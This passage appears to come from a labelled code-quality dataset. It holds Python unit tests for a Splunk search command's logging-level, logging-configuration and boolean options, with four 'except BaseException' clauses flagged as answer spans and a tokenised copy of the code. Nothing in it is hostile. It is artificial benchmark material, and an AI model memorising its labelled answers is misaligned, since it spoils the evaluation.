raised'.format(type(e)))\n else:\n self.fail('Expected ValueError, but logging_configuration={}'.format(command.logging_configuration))", "metadata": "root.TestBuiltinOptions.test_logging_configuration", "header": "['class', 'TestBuiltinOptions', '(', 'TestCase', ')', ':', '___EOS___']", "index": 46 }, { "content": " def test_logging_level(self):\n\n rebase_environment('app_without_logging_configuration')\n command = StubbedSearchCommand()\n\n warning = logging.getLevelName(logging.WARNING)\n notset = logging.getLevelName(logging.NOTSET)\n logging.root.setLevel(logging.WARNING)\n\n self.assertEqual(command.logging_level, warning)\n\n # logging_level accepts all logging levels and returns their canonical string values\n\n self.assertEquals(warning, command.logging_level)\n\n for level in logging._levelNames:\n if type(level) is int:\n command.logging_level = level\n level_name = logging.getLevelName(level)\n self.assertEquals(command.logging_level, warning if level_name == notset else level_name)\n else:\n level_name = logging.getLevelName(logging.getLevelName(level))\n for variant in level, level.lower(), level.capitalize():\n command.logging_level = variant\n self.assertEquals(command.logging_level, warning if level_name == notset else level_name)\n\n # logging_level accepts any numeric value\n\n for level in 999, 999.999:\n command.logging_level = level\n self.assertEqual(command.logging_level, 'Level 999')\n\n # logging_level raises a value error for unknown logging level names\n\n current_value = command.logging_level\n\n try:\n command.logging_level = 'foo'\n except ValueError:\n pass\n except BaseException as e:\n self.fail('Expected ValueError, but {} was raised'.format(type(e)))\n else:\n self.fail('Expected ValueError, but logging_level={}'.format(command.logging_level))\n\n self.assertEqual(command.logging_level, current_value)", "metadata": "root.TestBuiltinOptions.test_logging_level", "header": "['class', 'TestBuiltinOptions', '(', 'TestCase', ')', ':', '___EOS___']", "index": 122 }, { "content": " def _test_boolean_option(self, option):\n\n rebase_environment('app_without_logging_configuration')\n command = StubbedSearchCommand()\n\n # show_configuration accepts Splunk boolean values\n\n boolean_values = {\n '0': False, '1': True,\n 'f': False, 't': True,\n 'n': False, 'y': True,\n 'no': False, 'yes': True,\n 'false': False, 'true': True}\n\n for value in boolean_values:\n for variant in value, value.capitalize(), value.upper():\n for s in variant, bytes(variant):\n option.fset(command, s)\n self.assertEquals(option.fget(command), boolean_values[value])\n\n option.fset(command, None)\n self.assertEquals(option.fget(command), None)\n\n for value in 13, b'bytes', 'string', object():\n try:\n option.fset(command, value)\n except ValueError:\n pass\n except BaseException as error:\n self.fail('Expected ValueError when setting {}={}, but {} was raised'.format(\n option.name, repr(value), type(error)))\n else:\n self.fail('Expected ValueError, but {}={} was accepted.'.format(\n option.name, repr(option.fget(command))))\n\n return", "metadata": "root.TestBuiltinOptions._test_boolean_option", "header": "['class', 'TestBuiltinOptions', '(', 'TestCase', ')', ':', '___EOS___']", "index": 175 } ]
[ { "span": "except BaseException as e:", "start_line": 108, "start_column": 8, "end_line": 108, "end_column": 34 }, { "span": "except BaseException as e:", "start_line": 117, "start_column": 8, "end_line": 117, "end_column": 34 }, { "span": "except BaseException as e:", "start_line": 162, "start_column": 8, "end_line": 162, "end_column": 34 }, { "span": "except BaseException as error:", "start_line": 203, "start_column": 12, "end_line": 203, "end_column": 42 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Test", "Bu", "ilt", "in", "Options_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "logg", "ing", "\\u", "configuration_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "tha", "t", " ", "logg", "ing", " ", "is", " ", "proper", "ly", " ", "initialize", "d", " ", "whe", "n", " ", "there", " ", "is", " ", "no", " ", "logg", "ing", " ", "configura", "tion", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rebase", "\\u", "environment_", "(_", "'", "app", "\\u", "with", "out", "\\u", "logg", "ing", "\\u", "configura", "tion", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Is", "Instance_", "(_", "environment_", "._", "splu", "nk", "lib", "\\u", "logger_", ",_", "logging_", "._", "Logger_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "None_", "(_", "environment_", "._", "logg", "ing", "\\u", "configuration_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "logging_", "._", "root_", "._", "handlers_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "logging_", "._", "Logger_", "._", "manager_", "._", "logg", "er", "Dict_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Instance_", "(_", "logging_", "._", "root_", "._", "handlers_", "[_", "0_", "]_", ",_", "logging_", "._", "Stream", "Handler_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "environment_", "._", "splu", "nk", "lib", "\\u", "logger_", ",_", "logging_", "._", "get", "Logger_", "(_", "'", "splu", "nk", "lib", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "None_", "(_", "environment_", "._", "logg", "ing", "\\u", "configuration_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "command_", "=_", "Stu", "bbe", "d", "Sear", "ch", "Command_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "command_", "._", "logger_", ",_", "logging_", "._", "get", "Logger_", "(_", "'", "Stu", "bbe", "d", "Sear", "ch", "Command", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "command_", "._", "logger_", "._", "handlers_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "None_", "(_", "command_", "._", "logg", "ing", "\\u", "configuration_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "command_", "._", "logger_", "._", "root_", ",_", "logging_", "._", "root_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "logging_", "._", "root_", "._", "handlers_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "root", "\\u", "handler_", "=_", "logging_", "._", "root_", "._", "handlers_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Is", "Instance_", "(_", "root", "\\u", "handler_", ",_", "logging_", "._", "Stream", "Handler_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "root", "\\u", "handler_", "._", "stream_", ",_", "sys_", "._", "stderr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "command_", "._", "logg", "ing", "\\u", "level_", ",_", "logging_", "._", "get", "Leve", "l", "Name_", "(_", "logging_", "._", "WARNING_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "\\u", "handler_", "._", "stream_", "=_", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message_", "=_", "'", "Test", " ", "tha", "t", " ", "output", " ", "is", " ", "direct", "ed", " ", "to", " ", "std", "err", " ", "with", "out", " ", "format", "ting", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "command_", "._", "logger_", "._", "warning_", "(_", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "root", "\\u", "handler_", "._", "stream_", "._", "getvalue_", "(_", ")_", ",_", "message_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "search", " ", "command", " ", "load", "s", " ", "{", "local", ",", "default", "}/", "logg", "ing", ".", "conf", " ", "whe", "n", " ", "it", " ", "is", " ", "available_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rebase", "\\u", "environment_", "(_", "'", "app", "\\u", "with", "\\u", "logg", "ing", "\\u", "configura", "tion", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "command_", "=_", "Stu", "bbe", "d", "Sear", "ch", "Command_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "command_", "._", "logg", "ing", "\\u", "configuration_", ",_", "os_", "._", "path_", "._", "join_", "(_", "environment_", "._", "app", "\\u", "root_", ",_", "'", "default", "'_", ",_", "'", "logg", "ing", ".", "conf", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "command_", "._", "logger_", ",_", "logging_", "._", "get", "Logger_", "(_", "'", "Stu", "bbe", "d", "Sear", "ch", "Command", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sett", "ing", " ", "logg", "ing", "\\u", "configura", "tion", " ", "load", "s", " ", "a", " ", "new", " ", "logg", "ing", " ", "configura", "tion", " ", "file", " ", "relative", " ", "to", " ", "the", " ", "app", " ", "root_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "command_", "._", "logg", "ing", "\\u", "configuration_", "=_", "'", "alternative", "-", "logg", "ing", ".", "conf", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "command_", "._", "logg", "ing", "\\u", "configuration_", ",_", "os_", "._", "path_", "._", "join_", "(_", "environment_", "._", "app", "\\u", "root_", ",_", "'", "default", "'_", ",_", "'", "alternative", "-", "logg", "ing", ".", "conf", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "command_", "._", "logger_", ",_", "logging_", "._", "get", "Logger_", "(_", "'", "Stu", "bbe", "d", "Sear", "ch", "Command", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sett", "ing", " ", "logg", "ing", "\\u", "configura", "tion", " ", "load", "s", " ", "a", " ", "new", " ", "logg", "ing", " ", "configura", "tion", " ", "file", " ", "on", " ", "an", " ", "abs", "olute", " ", "path_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "app", "\\u", "root", "\\u", "logg", "ing", "\\u", "configuration_", "=_", "os_", "._", "path_", "._", "join_", "(_", "environment_", "._", "app", "\\u", "root_", ",_", "'", "logg", "ing", ".", "conf", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "command_", "._", "logg", "ing", "\\u", "configuration_", "=_", "app", "\\u", "root", "\\u", "logg", "ing", "\\u", "configuration_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "command_", "._", "logg", "ing", "\\u", "configuration_", ",_", "app", "\\u", "root", "\\u", "logg", "ing", "\\u", "configuration_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "command_", "._", "logger_", ",_", "logging_", "._", "get", "Logger_", "(_", "'", "Stu", "bbe", "d", "Sear", "ch", "Command", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "logg", "ing", "\\u", "configura", "tion", " ", "raise", "s", " ", "a", " ", "value", " ", "error", ",", " ", "if", " ", "a", " ", "non", "-", "existen", "t", " ", "logg", "ing", " ", "configura", "tion", " ", "file", " ", "is", " ", "provided", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "command_", "._", "logg", "ing", "\\u", "configuration_", "=_", "'", "foo", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Base", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Expect", "ed", " ", "Value", "Error", ",", " ", "but", " ", "{}", " ", "was", " ", "raise", "d", "'_", "._", "format_", "(_", "type_", "(_", "e_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Expect", "ed", " ", "Value", "Error", ",", " ", "but", " ", "logg", "ing", "\\u", "configura", "tion", "={}'_", "._", "format_", "(_", "command_", "._", "logg", "ing", "\\u", "configuration_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "command_", "._", "logg", "ing", "\\u", "configuration_", "=_", "os_", "._", "path_", "._", "join_", "(_", "package", "\\u", "directory_", ",_", "'", "non", "-", "existen", "t", ".", "logg", "ing", ".", "conf", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Base", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Expect", "ed", " ", "Value", "Error", ",", " ", "but", " ", "{}", " ", "was", " ", "raise", "d", "'_", "._", "format_", "(_", "type_", "(_", "e_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Expect", "ed", " ", "Value", "Error", ",", " ", "but", " ", "logg", "ing", "\\u", "configura", "tion", "={}'_", "._", "format_", "(_", "command_", "._", "logg", "ing", "\\u", "configuration_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Bu", "ilt", "in", "Options_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "logg", "ing", "\\u", "level_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rebase", "\\u", "environment_", "(_", "'", "app", "\\u", "with", "out", "\\u", "logg", "ing", "\\u", "configura", "tion", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "command_", "=_", "Stu", "bbe", "d", "Sear", "ch", "Command_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "warning_", "=_", "logging_", "._", "get", "Leve", "l", "Name_", "(_", "logging_", "._", "WARNING_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "not", "set_", "=_", "logging_", "._", "get", "Leve", "l", "Name_", "(_", "logging_", "._", "NOT", "SET_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logging_", "._", "root_", "._", "set", "Level_", "(_", "logging_", "._", "WARNING_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "command_", "._", "logg", "ing", "\\u", "level_", ",_", "warning_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "logg", "ing", "\\u", "level", " ", "accepts", " ", "all", " ", "logg", "ing", " ", "level", "s", " ", "and", " ", "return", "s", " ", "thei", "r", " ", "canonical", " ", "string", " ", "values_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "warning_", ",_", "command_", "._", "logg", "ing", "\\u", "level_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "level_", "in_", "logging_", "._", "\\u", "level", "Names_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "type_", "(_", "level_", ")_", "is_", "int_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "command_", "._", "logg", "ing", "\\u", "level_", "=_", "level_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "level", "\\u", "name_", "=_", "logging_", "._", "get", "Leve", "l", "Name_", "(_", "level_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "command_", "._", "logg", "ing", "\\u", "level_", ",_", "warning_", "if_", "level", "\\u", "name_", "==_", "not", "set_", "else_", "level", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "level", "\\u", "name_", "=_", "logging_", "._", "get", "Leve", "l", "Name_", "(_", "logging_", "._", "get", "Leve", "l", "Name_", "(_", "level_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "variant_", "in_", "level_", ",_", "level_", "._", "lower_", "(_", ")_", ",_", "level_", "._", "capitalize_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "command_", "._", "logg", "ing", "\\u", "level_", "=_", "variant_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "command_", "._", "logg", "ing", "\\u", "level_", ",_", "warning_", "if_", "level", "\\u", "name_", "==_", "not", "set_", "else_", "level", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "logg", "ing", "\\u", "level", " ", "accepts", " ", "any", " ", "numeri", "c", " ", "value_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "level_", "in_", "999_", ",_", "999", ".99", "9_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "command_", "._", "logg", "ing", "\\u", "level_", "=_", "level_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "command_", "._", "logg", "ing", "\\u", "level_", ",_", "'", "Leve", "l", " ", "999", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "logg", "ing", "\\u", "level", " ", "raise", "s", " ", "a", " ", "value", " ", "error", " ", "for", " ", "unknown", " ", "logg", "ing", " ", "level", " ", "names_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "current", "\\u", "value_", "=_", "command_", "._", "logg", "ing", "\\u", "level_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "command_", "._", "logg", "ing", "\\u", "level_", "=_", "'", "foo", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Base", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Expect", "ed", " ", "Value", "Error", ",", " ", "but", " ", "{}", " ", "was", " ", "raise", "d", "'_", "._", "format_", "(_", "type_", "(_", "e_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Expect", "ed", " ", "Value", "Error", ",", " ", "but", " ", "logg", "ing", "\\u", "level", "={}'_", "._", "format_", "(_", "command_", "._", "logg", "ing", "\\u", "level_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "command_", "._", "logg", "ing", "\\u", "level_", ",_", "current", "\\u", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Bu", "ilt", "in", "Options_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test\\u", "boolean", "\\u", "option_", "(_", "self_", ",_", "option_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rebase", "\\u", "environment_", "(_", "'", "app", "\\u", "with", "out", "\\u", "logg", "ing", "\\u", "configura", "tion", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "command_", "=_", "Stu", "bbe", "d", "Sear", "ch", "Command_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "show", "\\u", "configura", "tion", " ", "accepts", " ", "Spl", "unk", " ", "boolean", " ", "values_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "boolean", "\\u", "values_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "0", "'_", ":_", "False_", ",_", "'", "1", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "f", "'_", ":_", "False_", ",_", "'", "t", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "n", "'_", ":_", "False_", ",_", "'", "y", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "no", "'_", ":_", "False_", ",_", "'", "ye", "s", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fal", "se", "'_", ":_", "False_", ",_", "'", "true", "'_", ":_", "True_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "value_", "in_", "boolean", "\\u", "values_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "variant_", "in_", "value_", ",_", "value_", "._", "capitalize_", "(_", ")_", ",_", "value_", "._", "upper_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "s_", "in_", "variant_", ",_", "bytes_", "(_", "variant_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "option_", "._", "fset_", "(_", "command_", ",_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "option_", "._", "fget_", "(_", "command_", ")_", ",_", "boolean", "\\u", "values_", "[_", "value_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "option_", "._", "fset_", "(_", "command_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "option_", "._", "fget_", "(_", "command_", ")_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "value_", "in_", "13_", ",_", "b", "'", "bytes", "'_", ",_", "'", "string", "'_", ",_", "object_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "option_", "._", "fset_", "(_", "command_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Base", "Exception_", "as_", "error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Expect", "ed", " ", "Value", "Error", " ", "whe", "n", " ", "setti", "ng", " ", "{}", "={}", ",", " ", "but", " ", "{}", " ", "was", " ", "raise", "d", "'_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "option_", "._", "name_", ",_", "repr_", "(_", "value_", ")_", ",_", "type_", "(_", "error_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Expect", "ed", " ", "Value", "Error", ",", " ", "but", " ", "{}", "={}", " ", "was", " ", "accept", "ed", ".'_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "option_", "._", "name_", ",_", "repr_", "(_", "option_", "._", "fget_", "(_", "command_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
